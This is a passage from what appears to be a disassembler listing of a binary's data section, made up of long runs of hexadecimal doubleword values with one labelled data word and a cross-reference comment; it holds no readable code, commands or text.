6EBAA01Ch, 74003701h dd 0DBB3122h, 6436C6F4h, 5B52128h, 0A4C36D5Fh, 9827BF0Eh dd 76461292h, 92F3D48h, 2E002C8Fh, 19D1B373h, 0CF18B205h dd 93012D3Ah, 0DD2D821h, 0FC248983h, 1CA17496h, 0E04B0027h dd 0B9590699h, 700528AAh, 44C49B28h, 8E02402h, 724EA368h dd 14450590h, 0C0F44AFCh, 65AEB9C4h, 0C0032698h, 31859449h dd 0E803E8C8h, 50200087h, 6E456040h, 0F900E1B0h, 0D0D1230Eh dd 9FC0Fh, 80430C47h, 82AECA57h, 0BC75EA00h, 4DE463D1h dd 5F7440h, 385BD632h, 509B1684h, 33853B0Eh, 77DDE093h dd 274873h, 7F39564Dh, 1AB29042h, 0E5D2C300h, 0E3502843h dd 0B5F73F3Eh, 0CEEB00F8h, 0B2170E4Bh, 0D1036F9Ch, 0D7E6DFBFh dd 88C3A80Dh, 898D2A35h, 0AA520080h, 77CAEF76h, 7E4E150Ah dd 0CC3D2BFCh, 79160987h, 0A1F48082h, 0EB908EA2h, 62E0370Bh dd 601C0E72h, 80DF0BCEh, 0AE7A1C78h, 1248809Ah, 0EB4EC283h dd 5F4A1E00h, 0E05B1B1Fh, 0CE6F175Ch, 2BF0402Eh, 91D83803h dd 800389Ah, 0C93AF7E9h, 1A4809Eh, 897D6E88h, 0FCA52DE1h dd 0CA003506h, 0D8D6F045h, 24B3BEF5h, 0E1CD9Ah, 2D1E944Dh dd 0A900652Ch, 250B9FB2h, 185E1D8Fh, 0BCA7B84Ch, 517B98C9h dd 8AB79507h, 6E10BF13h, 0B8863B2Dh, 82F600DBh, 9BC3F806h dd 8C00BE62h, 0C0563441h, 71AB6720h, 2BCCFD40h, 0D66F3CCAh dd 0DA8072BEh, 0EBB91887h, 0E300BAC0h, 9B2415F8h, 0F2F18FC7h dd 607771E9h, 517F5A8Ch, 0B92EF4AEh, 1400F93Fh, 0D53992AFh dd 585B00C9h, 3DF55C8Ch, 21014AFAh, 16953AF1h, 0A4302AA4h dd 59FC05D0h, 0C0DA0839h, 81DC3DDCh, 383E4A80h, 0D89537EAh dd 4604A893h, 0C35AFF21h, 0C69071A4h, 403F9F6h, 0D3A592C2h dd 2E2900E7h, 349E1978h, 8E01AF1Ah, 31B8EF9Dh, 0B1701D91h dd 6EA314D3h, 0DA25E83Dh, 73E888A2h, 4BF840E8h, 13FF7A00h dd 157EBF87h, 4FFD005Ch, 55265196h, 6107D440h, 6E2A73D8h dd 32A5BA10h, 67B42C76h, 0E74D0E6Ch, 9A9EA680h, 0F71E5722h dd 0D3CF5B4Bh, 0D0DA4054h, 905D1DD5h, 1CF4FC54h, 0C04827B8h dd 67F3AF44h, 309454A9h, 0E21C9806h, 343B1B24h, 0C0FDE15Fh dd 470B4B5Ch, 7456D007h, 0C0778E60h, 0DEE662A0h, 934302DCh dd 353A1126h, 60040F8h, 50BD4A2Eh, 13A54C3Ch, 40B5F02Fh dd 417936ACh, 0A77402C5h, 0DA61AE12h, 0A2593400h, 0D75CE6h dd 0B054B614h, 55EDF972h, 947A0307h, 0C04E21DFh, 270D9FE9h dd 455E3011h, 0CA739A71h, 0EE529002h, 0C0FC3D42h, 0EC2539Ch dd 0DA75A8C0h, 0BFFD7E20h, 0CD001C2Ah, 4C39C461h, 0EC7C28h dd 0BE3ABB51h, 1D55B434h, 869F9207h, 4CF059E1h, 1A18FCh dd 0B300F8Ah, 8379632Fh, 39B1227h, 0CB04581Ch, 2B0C0095h dd 0CBEC6BDFh, 2500D1D0h, 0AAF936E1h, 7FE7B53h, 54A362A1h dd 4CA740FBh, 9C0663CCh, 77CFC6B4h, 15790970h, 0C4201D30h dd 0CB6B62DDh, 43510700h, 480ED9ECh, 0B1C55164h, 9D16CC8h dd 0CE3EAEA7h, 96D7C800h, 370324ACh, 84EDD468h, 0E0CBD269h dd 794B9E0Ch, 0E88703FEh, 0EE7FAF6Bh, 3C6DBDA8h, 123A3E00h dd 0AB10B982h, 0D44F00C2h, 706E3FF3h, 0A800B8F9h, 7E41C8A3h dd 4BCAC5h, 805D56DBh, 8DF77535h, 89003BF8h, 15F130E3h dd 78ABA35Eh, 38D01D98h, 0ACDF454Ah, 9E80BB3Dh, 2A65DA4h dd 4C620F04h, 545C109Eh, 0E17D0700h, 0F0D4D73h, 7E57B487h dd 9D2E3540h, 5274AD8Dh, 0F75AAF00h, 75519143h, 9A5D007Ah dd 5F63AC10h, 0CD00D6A2h, 64F94FBDh, 476E05Ch, 7203B52Fh dd 1ADB8212h, 2DA9FC82h, 0B1247060h, 6ECAEE00h, 7FA212F0h dd 0D001008Bh, 0B46B8532h, 0FEC6A32Ah, 4084EEh, 89CA5325h dd 1907303Ch, 0DA679D00h, 0E52C904Eh, 1C44923Ah, 43A20F1Ch dd 59E2AC1Ah, 0BA221C1Ch, 0DC20AE82h, 452C4883h, 0D7241856h dd 8566119Ch, 0C0170200h, 440D283Dh, 525C2E34h, 0F7FC8098h dd 0F1EABF0Ah, 0D4466900h, 0C6C86080h, 0ADDD3A65h, 6C126D0Eh dd 7B494A40h, 64259F54h, 1B18028Eh, 1C7620F8h, 99049BE6h dd 0A4381592h, 0BF44FC80h, 0C0B625ABh, 9CBC8480h, 2D1728F3h dd 0D400A36Ch, 25DE6ACBh, 0B9EF5CAEh, 33002C48h, 29485FA8h dd 102DD2Bh, 86AF46F3h, 351841F8h, 36C20C0h, 0D345629Ch dd 94B06083h, 52006E64h, 5E12F58Ah, 0F3B2841h, 0FB1D2013h dd 400C4982h, 7F559A60h, 0F5152909h, 5684A323h, 0FB1AF95Eh dd 6AD4FDF5h, 861040Ah, 83AFADDCh, 9FD07258h, 1FCFAF9h dd 78075C92h, 0E366F85h, 84201CE5h, 1F1B628Dh, 0BF25AFAAh dd 0F7006CBDh, 8096FE5Ah, 0FB1771C1h, 600DD6Eh, 5030722Bh dd 81C90051h, 48680502h, 0A1007586h, 0DCF83323h, 1CDD732Ch dd 7CFA7Ah, 0E5713DE0h, 0A3001391h, 4C930F62h, 8647FBh dd 20FD33AAh, 0CB61B09Dh, 0C905774h, 182A9330h, 0EE6975h dd 46AD796Eh, 54A85898h, 5C7420E3h, 32671607h, 94E06h dd 418891ECh, 0E870E48h, 99E04FDCh, 0DA85DEB1h, 0D8819300h dd 5CCF086Dh, 0E2E2603h, 0EE0A8158h, 28BE738Ah, 0F2302890h dd 0FACC5C01h, 4A44DC88h, 25001868h, 5436FB8Bh, 10A2770Fh dd 5E0AAC40h, 8AC8B201h, 1C0339D5h, 3CA38020h, 2519DF7Ch dd 1AC114Bh, 105049EEh, 5868B43h, 32D9DA01h, 0F8B0B5E9h dd 0C800FB59h, 0F8FE3348h, 29D2544h, 4756924Dh, 0A3802152h dd 5DC64BCFh, 0B2804094h, 370D0A6Eh, 6B6A0074h, 241C9271h dd 3B7D30A4h, 2CD7B400h dd 0C2996203h, 0ABF800E7h, 2EFC143Fh, 6494C5C6h, 0BA135C2h dd 41AF2702h, 0E736A0E0h, 0F65D8700h, 0BC5ECB0Bh, 1A5E84Fh dd 8849783Ah, 0FC8D2730h, 73147B24h, 1487A847h, 1ED92D1h dd 8A06F1CDh, 0C8C5151Ah, 0E430AEECh, 4CEEF2A4h, 0A34B4F58h dd 0AEB0AE88h, 0F51FA693h, 88C00F7Bh, 0FB2D4451h, 0EC74009Dh dd 86941D46h, 141FE19Eh, 1F07C10Bh, 43C04469h, 1352C6h dd 5B7E781Ch, 0E32EF806h, 0F6946700h, 15C5A365h, 205D39FCh dd 366A7100h, 3FA71363h, 0B8601095h, 7A223D0Bh, 94E0C14Bh dd 0D8C40740h, 620120A8h, 0B3B5F856h, 0A4912E0Fh, 0C8218627h dd 621E87DCh, 0DABC1815h, 803F450h, 7C5A2FF8h, 0E80C8097h dd 10B20687h, 110104E9h, 0B44AFF01h, 7B63B5E0h, 79118050h dd 403B026Dh, 0D8250C89h, 985A348Bh, 11650D00h, 54415FFFh dd 1B27AC6h, 3B20F207h, 4171C590h, 890B9A64h, 87623468h dd 16869DAFh, 0D00F4EA8h, 0D30ADF84h, 9A77F70Fh, 87A50374h dd 5B88E983h, 60FC902Bh, 0DF0079A0h, 0CE995C73h, 81E9B55h dd 2CF6E5FBh, 0B809402h, 79B0604Fh, 0F410BFA0h, 81B79F82h dd 862BD8E8h, 0FE6BB200h, 0D338039Dh, 653AD905h, 777D48BDh dd 4C1B006Ah, 4E29D103h, 0D21337B6h, 0B4F47DE8h, 9C1684B5h dd 0A4A0DCEFh, 7DD90503h, 0EC0DB93Fh, 45B081A0h, 21807EDFh dd 30C7AEE8h, 59067B47h, 24866BB9h, 32FB0088h, 0F926BDA0h dd 0C600571Ah, 6AE1A95Ah, 944924h, 2CB88488h, 0D22158EAh dd 91A7F530h, 0EAD0F4C0h, 0D9E60094h, 958BABA1h, 0FC006283h dd 1CCE299Fh, 0F22681h, 0B5C04321h, 4653334h, 62382A02h dd 0E037FBFAh, 0C2FECDDh, 7229FC57h, 0F5013B18h, 6564BD01h dd 205AFD08h, 0CB9A3908h, 30F6F103h, 0F336A014h, 0FFB10E3Ah dd 0E3A17FDFh, 20F84739h, 0C200D582h, 0EB03F335h, 0A437568h dd 142E3B76h, 84685120h, 0B89E1880h, 0F9801410h, 0C6C1391Dh dd 13A52F00h, 25ED2D5Ah, 0F0CF003Fh, 0A8E1FA6Eh, 0E01E31E5h dd 7B85487Fh, 34591343h, 8051D408h, 901B9DEEh, 14F8A0h dd 169F1D4Bh, 0B73F73B9h, 432EE524h, 9C7E803Fh, 0AD474F30h dd 7FD10F16h, 2F449A1Eh, 67880C3h, 0C9007791h, 0FA14E348h dd 391BB876h, 9CB18AD1h, 11F28129h, 62115412h, 0A05111BBh dd 29106D12h, 42BE897Bh, 3C82E928h, 0D321F7A9h, 0CA02DE86h dd 89B4A010h, 0A1CF0855h, 7E08C650h, 4131AE44h, 0B410F4F4h dd 8264F92Eh, 12A07100h, 130B8Eh, 0BA16CC28h, 66095599h dd 517F9D78h, 0D4FB700h, 8DBFA28Ah, 8B03000Eh, 8FAC900Ah dd 4504B609h, 65C1BEBCh, 664E1980h, 0D8CE0081h, 30160F72h dd 42C064E1h, 86152255h, 0EF940003h, 499172BEh, 8875E93Dh dd 6F03A1Dh, 69072F40h, 7A58BCBDh, 7C200031h, 0C228E1F8h dd 8F002718h, 49722186h, 983C9D1Eh, 0ADA001Fh, 0C13E85A7h dd 451C3FD9h, 0E00C7B0h, 115ABCF9h, 60A43891h, 77365600h dd 0ACF43423h, 49C21E00h, 540FD81Ah, 4C8E00DDh, 0A11C7D11h dd 0E6003420h, 6B08E923h, 544A467h, 5C133EB9h, 978C47BEh dd 30040006h, 5B002A5Fh, 157F9434h, 280D77CDh, 7EB444DDh dd 0A9FEBAh, 6DEFA3FAh, 0F43D5E4Bh, 4D00117Ch, 0C21C981Eh dd 18C883h, 19201341h, 0ED96F84Ah, 0FAEFEE00h, 0AAC1376Bh dd 0CD7477h, 0D309B6DAh, 0C286A0E8h, 711B901h, 0DB40CE85h dd 276020h, 26B005F0h, 80563872h, 0B378CA00h, 0AE7F6677h dd 1A533B25h, 58926C80h, 0A4107A4Ch, 47D6CA00h, 0D44960FBh dd 0B2330094h, 4AB8ACC7h, 9A00087Ah, 67362C5h, 1DD95Ah dd 9D58AAFFh, 0FD86A8F3h, 385D9A00h, 9E55EAADh, 4BFA0048h dd 0F9A0752Dh, 0A800A1B6h, 0CB743079h, 0F4B83713h, 0DC490066h dd 5BDBA414h, 3B00156Bh, 2A40887Eh, 746162Fh, 6E2D1A27h dd 2E8D3083h, 3C7DB68Ch, 39212426h, 194DC300h, 0F0DA291h dd 3F35C05Ah, 758344A0h, 0D57AB22Ch, 4CE2B600h, 0C5D6EE66h dd 0FE0B007Ch, 9BF1FF23h, 1603313Dh, 8F5F9C91h, 3E9AD08Ch dd 2AC10017h, 48F07A95h, 0AE00DC6Ch, 9B37E9F2h, 32A124h dd 70D5E8B2h, 14A5743Fh, 0D3E2BC00h, 0A4714143h, 0E5B33835h dd 42394000h, 0F5ACB0D1h, 38F79E05h, 30C0D546h, 0E2EC28BBh dd 377600E3h, 0B92745A5h, 353BFBACh, 0E3F00F9h, 0ABF52F06h dd 0FE730059h, 0A3DA98B6h, 0E40E8948h, 0E1F0F253h, 2F748DE9h dd 2AA8A0FEh, 90270919h, 1F7E073Eh, 20E8920Dh, 0DDF533C9h dd 1EC8E100h, 9B274868h, 0A3C000A2h, 5FD0DA66h, 18C0FF2Ch dd 96E8C43Fh, 0C7100B0h, 55984F9Eh, 0DC001305h, 0AAAFD2Bh dd 0F468986h, 5D9C0C2Dh, 8E99AA5h, 475039FCh, 0C4E0A836h dd 0C2E7064h, 0B94C814Dh, 0ED907DB0h, 0C31EFC00h, 997B7617h dd 46090318h, 7D738764h, 197738E0h, 49829400h, 0D061E8F7h dd 0F254E0E3h, 4CD0A018h, 7167D2Bh, 7F5039B7h, 0B209B09Ah dd 2A731067h, 6E65DF00h, 0C324DE32h, 828400E4h, 0C8FB95AAh dd 1D036A10h, 8C866654h, 0E0C80025h, 14533968h, 4A00C13Dh dd 8EDB6EE1h, 776A59Ah, 6A49D09Fh, 19315046h, 65012D4Ch dd 0A4C6CE50h, 69E8A0A9h, 0F347E85Ch, 1EB9A720h, 80705204h dd 0CD0CEB85h, 0AB00E015h, 4FB2AC97h, 51AAA3Fh, 0D5EA2691h dd 7397027Dh, 4B4006FBh, 1D0708F5h, 2CE7CFAFh, 39A11AF0h dd 0D290009Eh, 0A3B38D34h, 4E0EBA12h, 0A02711E5h, 687FE94Ch dd 488A0EA5h, 0C05CD3A0h, 0B68E4958h, 0D8000D25h, 8BC59F13h dd 1C6A43DDh, 43B5F75Ah, 0DBCAA394h, 4CE58088h, 0E9799B00h dd 51812DE0h, 32950025h, 980299D0h, 9100AFABh, 443B3AE5h dd 242A46C6h, 84D4E6h, 6C8D7F61h, 6B00DC2Dh, 0CE9C17B6h dd 5DA19AAh, 27E13462h, 83D800F3h, 9D6B81DDh, 0CCD63202h dd 0E1E6AABDh, 0C130C913h, 47DF00ADh, 7F4F19CDh, 1F000C05h dd 0B09BDBB5h, 70C3DCF5h, 0FCF40025h, 784E2A9Ah, 80009EF3h dd 0F9C8A007h, 255B3Ah, 7BEC1A44h, 0F561B30Dh, 0E094CB00h dd 0AD4994Ch, 0EDC900C4h, 5F959E7Ch, 0A7013305h, 27A2F74Eh dd 11F05961h, 0C7B401F4h, 991A38CAh, 46888066h, 0A81753C6h dd 0A9D50F6Bh, 0DC0F13Ah, 907CCCBFh, 0E4348600h, 10ABCA61h dd 67D0912h, 4C0F8EC0h, 7BB66580h, 770507A8h, 0A4EE7394h dd 0ACC5D800h, 48C83E59h, 3B00057Fh, 0D34FCEC4h, 4800538Fh dd 946A7A61h, 164E822h, 0B17E46D5h, 305D1D35h, 2002632h dd 0C2555BC4h, 12570617h, 0FE5A86h, 957E434Ah, 810064F7h dd 0BD2E4B25h, 2F260Eh, 0E05C23F2h, 0AADD8889h, 0BB9E4F0Fh dd 0A000F380h, 30FD11D5h, 0A7723Ch, 0C806B103h, 8DBD86F2h dd 0C7434801h, 4014E64Ah, 4C8B9630h, 0EE004FB7h, 686D0CDAh dd 9F4CF4F5h, 1392E30h, 0E7F06100h, 484B73ECh, 0E000648Bh dd 66701A0Fh, 0C876BEA8h, 63E76D14h, 0B3D100C0h, 0F78C0A75h dd 29D82EEFh, 85860157h, 30E79512h, 7A0050D8h, 0FBCAD9B8h dd 683B87h, 8A4F4C5h, 0D5CF690Bh, 9EC6BC01h, 0A2D0A8B8h dd 0D7E8C053h, 0E71FD640h, 3E910196h, 3970E2F9h, 0C843303Bh dd 0D266602h, 5E2C4541h, 50C00016h, 2FF89711h, 8171B903h dd 0D88D2742h, 1CE2A65Bh, 93D46D3Fh, 66EB0074h, 0C6A08F0Ah dd 1C803B0Eh, 23BAC091h, 75A88Ch, 0C0A65E2Ah, 8FEA4EC8h dd 3C9F5C00h, 958DF768h, 0CEE91824h, 0CDC2D103h, 0FDD19100h dd 496762BDh, 8B5CB130h dd 8B809D23h, 12900BD3h, 0D2F0CD12h, 9B789001h, 4C80EBA8h dd 4BB6C460h, 0B41CAA81h, 7740668Ah, 8558D32Bh, 46D21C2Dh dd 9764A3h, 3AE4F8E5h, 0BE01DED9h, 82F51BF7h, 5861A43Bh dd 6258D8h, 0E0E785FEh, 456E3EAh, 0BF176C00h, 3C1827FDh dd 0F0710073h, 0BC11C1DAh, 800337A5h, 2C76BFAAh, 0AEB80094h dd 8FECC6DDh, 2009DC0Bh, 0C2C52Dh, 2831D57Ch, 795C0007h dd 49697C5Bh, 0EA009F48h, 25CDEC57h, 1F2610CCh, 0C1136818h dd 0C69747E0h, 4565FC07h, 3800727Ah, 437192C7h, 0A72975h dd 8BD640F1h, 13B11990h, 0A37C8300h, 319DD4B8h, 9D37D9Fh dd 97882E7Ah, 7D258080h, 8A00D665h, 9D12AA5Eh, 58BD22h dd 95F56779h, 1898040Ah, 0F759C605h, 208026ACh, 5AF1C0h dd 235D3533h, 7CCF8C6Ah, 0B93AF4h, 268BA600h, 0F96240h dd 7047CDABh, 9C4A5EEh, 49003AE0h, 0E6A8287Ch, 2C9A34E9h dd 42058E4h, 80848CA5h, 4B1EDD7Eh, 2B82C100h, 1748C395h dd 0C0DAE7BBh, 13E7DB88h, 115DA7h, 0D60E922Ah, 0E500B9B6h dd 7BA831BDh, 169E43Ah, 6BCC89E6h, 70C73778h, 0B51EE970h dd 260253D9h, 80CBF0ABh, 6BCFB384h, 0E313167Dh, 0C06E1F6Dh dd 47F803D9h, 80900AD3h, 0AF6BDA00h, 0F5E1A539h, 0EFFD00E8h dd 184E32DBh, 0B3306A3Dh, 0C07D2813h, 1DF2019Ah, 6F379559h dd 6C07E465h, 5D7988C2h, 0CD1F009Eh, 0FAF2AE16h, 214C3500h dd 0B5EE845Eh, 0B0FB016Fh, 0EB61F213h, 0E2F8417Ah, 54122073h dd 4272D100h, 68C4F61Dh, 3CF2F8E6h, 0D0BEF87Ah, 0D73DB482h dd 49407F01h, 0A500BEC9h, 23C0D408h, 1E4EC345h, 0C1FE9C10h dd 9026539h, 8D60800Eh, 12BDF0EAh, 0ED430001h, 91F4FF54h dd 520576A6h, 0AE82CF98h, 80C7F4C3h, 53014BFh, 0E1F2104Fh dd 41F6804Ch, 0DC283160h, 0B03C007h, 719EE49Fh, 0C25299C8h dd 6411D0h, 7FD73B9Bh, 14A29117h, 2E70F800h, 0E945DAEAh dd 6272B8h, 12D0311h, 0A3FD98F0h, 2492905h, 9C018FE6h dd 44AFEE86h, 483568C0h, 0A500CFB8h, 3872FF4Ah, 0D903AAB7h dd 36B07A2h, 7641EF09h, 0F7D51A57h, 1FFE29CCh, 4031A35Fh dd 9C48E691h, 18986D9Dh, 1E524C01h, 3FF43445h, 0F2FBACCh dd 97484723h, 0D188FA60h, 8E789325h, 2AC7160Fh, 0FBB30076h dd 3D911936h, 0E200A56Ah, 0C848BF8Eh, 2800A897h, 47FE1869h dd 0F3540Ah, 8ADFB35h, 814966B8h, 12D2C701h, 0CBFE11D6h dd 3027D0D0h, 58210BABh, 0B174BD8Fh, 5AF8EA0Ch, 16859h dd 0E8429208h, 7CBE4EDBh, 0E97BC901h, 94E2D50Dh, 0CAE04425h dd 51EA0064h, 72ACBF2h, 681DB8F7h, 0DB9E5CFFh, 0CF348800h dd 0FE1F14Dh, 786CCEA1h, 942490E9h, 0C4C48C3Dh, 0B0F48506h dd 98B406h, 2C5A9231h, 0F52350Bh, 0D6543D00h, 0DFC5D2FDh dd 0ECEE6Dh, 0AADB3C40h, 8F507C41h, 7F243E7Fh, 8039B8D1h dd 141B126Ch, 0C723590h, 3DDFF067h, 8A002CB8h, 574516FAh dd 1C3EF373h, 0A40958h, 233265E1h, 8C011D5Dh, 8F0EA354h dd 84CC07AFh, 176200C5h, 0B1F9E499h, 2E007D85h, 95F60B7Ch dd 0E059EFDEh, 0C39048h, 12E02186h, 1A99249Ch, 6E00AA70h dd 9D4C3843h, 13FAB3FCh, 446A6Bh, 1DAAFD54h, 0D13A4809h dd 0A4910060h, 0D09F754Dh, 4CCD0044h, 35A0F3A8h, 6E16FBF5h dd 2003ABFFh, 0D8E3A3B1h, 2C5F25h, 0DE059410h, 0E48D5C0Ah dd 5E120700h, 4F322437h, 0B0B70750h, 514CA565h, 0C00791F1h dd 41028D84h, 0D81382BDh, 81C89040h, 0D1AE008Eh, 117D2D8Ch dd 7B00C7BEh, 0C41707F4h, 21B57A2h, 9FA45B25h, 0D4E027E8h dd 4100E58Dh, 1AA1EED4h, 0DAD91Fh, 190BF113h, 0C1A2B1B0h dd 0D7000A74h, 0C0425346h, 131F36Ch, 0A599F648h, 0C4F2E65Bh dd 0C700C1E3h, 0BDCC8E34h, 769B54h, 0A0E5CD7Bh, 6AF9BE1Dh dd 899DED00h, 8EA4BB8Ch, 9990030h, 0AD022C3Bh, 0B1009317h dd 5D9F88A7h, 74EE8Dh, 0ED852D8Bh, 525770A1h, 8099973Ah dd 0A41AF15Fh, 73E92Ah, 191B5E6Fh, 890D58D7h, 0A50094B8h dd 20D01EA9h, 3DFAFFh, 0AE453769h, 0C833044Ah, 0B6C9A02h dd 0C82FCEA5h, 0FCF440h, 0CBB2A019h, 8DD1F85Fh, 8551D43Ah dd 3C1D2688h, 18D07080h, 54F4A00Bh, 0D1F40074h, 0AA416B5Eh dd 0EF00A6F5h, 7BFA7740h, 8AC14Fh, 21FCBDD6h, 5A0D3544h dd 0BBE9DA00h, 3678032Dh, 0A0C3ED8h, 4705E2Ch, 40549B75h dd 0DA652343h, 0E3BE0168h, 0BD399CC9h, 549E02Ch, 0C4184F01h dd 0BC9D579Fh, 0AB2660h, 3E00D20h, 0E91CE2EEh, 0DC7F892Ch dd 6C1DCC2Ch, 27485C40h, 90C6EE08h, 3F190008h, 15573DF3h dd 7160C224h, 98026620h, 0F0B74E11h, 0E9019193h, 683A9730h dd 86D428A3h, 75C1FA4Ah, 928400AEh, 0D62B3164h, 81002D5Bh dd 9B93A0EBh, 0B925D4h, 57A1868Ch, 72DD4E85h, 0AF380C00h dd 0EED17B1h, 0AC373A48h, 63F72A00h, 71D22924h, 4A8E101h dd 44457954h, 0FCAEF8F4h, 53C1007Bh, 8F371FEBh, 69003C9Ch dd 0A8C8F615h, 5CB82793h, 4C048C6Fh, 0C084BB70h, 0F2CC73AEh dd 80BAD125h, 52479A20h, 6E6B1679h, 29800717h, 41E0F73Eh dd 0E968418Ch, 95C06059h, 0ECAE0E00h, 404454D1h, 980B0028h dd 0D5A7DE96h, 0A10F784Fh, 0E024C94Eh, 64ED261Dh, 0F048BA47h dd 0A8F1003Ah, 115B974Ch, 527CC791h, 4FCAE48h, 0FBCFB8C5h dd 0E89814F0h, 0C1D10708h, 0A5D0A8CEh, 4FE40FBBh, 3DE02C0Eh dd 313593F1h, 6E7370F9h, 0EDCB8300h, 0BE15B811h, 4FB7055Ah dd 80026ADFh, 7B8B28D4h, 0CC00797Ah, 0FF85430Dh, 6E0986h dd 0E3B32F9h, 1588B040h, 1B4CB500h, 91A066Ah, 0A58D0FF1h dd 450068EFh, 8AA35BF8h, 0A182A803h, 0CF287B2Ch, 475E54E0h dd 0C49002Bh, 439E94E1h, 4B7BCBEEh, 44905D00h, 6AABFCACh dd 2B8700D5h, 0E298A204h, 30E18889h, 920081A8h, 0A8F5C851h dd 871420h, 0F3C25BF4h, 8611EC57h, 0C552951Fh, 2219A085h dd 0FD92A45Eh, 0F526EF00h, 1DB4F5Ch, 0C38D0D88h, 41AF1756h dd 0F24BD9ACh, 0AD97DE00h, 39F62CA3h, 0F921C90h, 0FD610A3Fh dd 306019ECh, 6B01E478h, 0A3FE6846h, 4AD8D649h, 0BB67E8Eh dd 51FF2B0Eh, 0FD065480h, 0F37AF7B5h, 0E5B8BD02h, 807C5D04h dd 0DA6D7FDCh, 93200FEh, 41D4268Fh, 0F2001C02h, 5060C3D8h dd 1461B13Ah, 0E6220D83h, 3FF31A07h, 9C56601Eh, 0C5001B11h dd 346FDF38h, 5C05CCh, 0F19EEE53h, 0DC4D6762h, 0B4E7BC00h dd 0DBF5B781h, 5B1D2CC0h, 499D01ACh, 0F823FA5Eh, 2B004DBBh dd 52647E19h, 7F5A4383h, 53D20069h, 82FE4AE7h, 1203CB0Fh dd 0CC22F664h, 0D65A8066h, 798A797Dh, 857289Dh, 18E901D0h dd 2D5CED07h, 7C8DC880h, 0E6762C00h, 96BAACBh, 0CCC7000Fh dd 5B3098ECh, 0B90017D1h, 3C9652DAh, 2BCD47h, 9151FDB0h dd 0D5CF5932h, 3921B862h, 0B3BC405Ch, 6F5000E0h, 0EB84A340h dd 0A0B42955h, 145CBB00h, 50810E1h, 1520DF3Bh, 1F4C022h dd 3E0F337Eh, 8EF8D0E9h, 0BAA981F1h, 0B98A0CA3h, 324ACD8h dd 3A720EA7h, 0CEA016FBh, 0D40384BCh, 52E026C9h, 0ED45E808h dd 0F5291E4Fh, 772082C2h, 55028F4Ch, 58294036h, 2EA5019Eh dd 62E80B74h, 0E28851Eh, 340C4FD9h, 0E84120A3h, 52EB2A89h dd 0C007EA64h, 0AAFC45BCh, 9BE2744Bh, 0A1CE3B00h, 0AE342896h dd 0E6D61FF9h, 32D28064h, 22856E60h, 698F5C00h, 353D78EAh dd 7D267C8Ah, 0F2D13FEh dd 96930130h, 0C0F17566h, 183DA75Ch, 45A18039h, 23086571h dd 2F65EABh, 0CA04C444h, 4EE8CFE3h, 0A1CE370Fh, 671E80C2h dd 1D21DBEh, 0E6E45195h, 0F064E524h, 9CEAA24Ch, 65070470h dd 5A7A9EC2h, 118FC0BAh, 0D7EA40FCh, 18019791h, 505D9B4Dh dd 32026687h, 174595D4h, 0A3A46056h, 3BAA00D7h, 0C6405C25h dd 82FA508Bh, 1FEBEA3Eh, 0D0126DCh, 0D4A19BA7h, 0A48E1DFh dd 7F3879E0h, 95BC00CFh, 5BE8087Ah, 4A1CC2CEh, 0EA4E96E3h dd 5825EC8Bh, 7C794C31h, 0FE439507h, 1A2ED305h, 0FFD35788h dd 0F667A727h, 40C11C74h, 6E9BB1EEh, 0A5006915h, 61317CD8h dd 31C8702h, 22A25F39h, 3DE1DCB6h, 0B3E8E7BCh, 9CA95D75h dd 80044B24h, 0CB62B41h, 219F0378h, 875E8079h, 12FB2007h dd 1070B715h, 3E31387Fh, 4E0C26D0h, 0C6419116h, 7D8F2F03h dd 583845h, 0DA19B050h, 1A70167Bh, 49B1C20Fh, 5494E0F1h dd 18B28571h, 41280E07h, 232895A5h, 3328E0FCh, 0DC806064h dd 406EB404h, 0AB0AC011h, 77EA33Eh, 26DD926Ch, 90D24472h dd 0AAF5E920h, 0AC3E1200h, 88E55F61h, 85591FF6h, 982469h dd 45A9DBEh, 7005C27h, 0B9D9037Eh, 3EB8E1DFh, 30480E7Bh dd 8E187858h, 255990FBh, 3A7C2348h, 9EE050F6h, 0C837D000h dd 532AA140h, 4A4924Bh, 0B6469F0Dh, 810C80D6h, 1CAC9638h dd 4DB63940h, 0BC2E047Ah, 23860092h, 0E709B5Ch, 0B435BE01h dd 0A68B75A5h, 0A880A0h, 8734572Ah, 0C35CC264h, 0B3C8EA14h dd 0AB1EC48Ch, 724520C7h, 20D38C32h, 0E0AAFA1Dh, 8235D400h dd 882418C4h, 58604808h, 0E448F83Dh, 94C83E14h, 3A834805h dd 5568A0D1h, 7CB78B01h, 37460C0Bh, 0BD27F050h, 7B0D00D9h dd 0ACD4E5BFh, 0E6006AA0h, 1219FD7Fh, 304137B8h, 5FC16346h dd 7D3E3C64h, 0FDD1817Bh, 0D9B3C5F1h, 7219A180h, 0AB51238Bh dd 4C05F7F6h, 0B4795E10h, 75E95DC0h, 0E0A8096Dh, 0D42F8094h dd 7083B40h, 207CC10Fh, 8C85EF01h, 936370B7h, 8E97B983h dd 0BDD8390Bh, 1301CF9Eh, 960FC216h, 95D92DA3h, 30831834h dd 94F0E8CAh, 0A4CE992h, 9BE202B8h, 681582EBh, 1D3835D8h dd 1D10E79h, 0CFD8281Ah, 8007D120h, 79412A21h, 183CE7Fh dd 95BBFC7h, 2103F9AFh, 92002098h, 420D84Ch, 50EDA991h dd 0D2BE18C0h, 34009EFh, 6481BAC3h, 42EC6A12h, 636083F4h dd 0A35095D5h, 452A96E8h, 6600C05Dh, 73930519h, 1EFC3DBh dd 0F441390Eh, 5104DCE1h, 2427A9E8h, 850F4010h, 18696B6h dd 4A9A5EEAh, 3A245882h, 0B8487987h, 5003733Eh, 0A857090Bh dd 88A0493Dh, 0BDA5D380h, 9CA09475h, 0CD00C6F1h, 4B09E8C8h dd 3CF01C68h, 0CE879227h, 12BB71DDh, 0DC61ED3Bh, 4EB43542h dd 0C0D388E8h, 0D7FD540Ch, 0EC132EF2h, 0C0330EE5h, 4645D8FFh dd 2349266h, 0DE50FC49h, 0AC83EDE1h, 82ACC68h, 5E29C33h dd 0E42E5100h, 820D9CE9h, 16E0A809h, 0BBDCF561h, 0C64B035Eh dd 0FE6ABCB7h, 0CF07E5C0h, 1C72DC26h, 59A9E182h, 0F0EC8A2Eh dd 0B0D8EE0Eh db 0Ch, 2Fh word_505446 dw 0BBE4h ; DATA XREF: ___:off_436CE0o dd 9B12D751h, 20318194h, 4717943h, 202320C5h, 19B3D10h dd 37BCC15h, 8DD9D389h, 249639C4h, 40C458CBh, 88BBAC53h dd 0E4228305h, 0C404878Ch, 0C805CF7h, 48431696h, 0A7364E7h dd 240684E1h, 123600DCh, 455404E2h, 3843C54h, 8CF7F307h dd 0EC40D3A8h, 0F69250h, 3BCC87BAh, 12BF0FDBh, 0DE080A00h dd 4FA72AD7h, 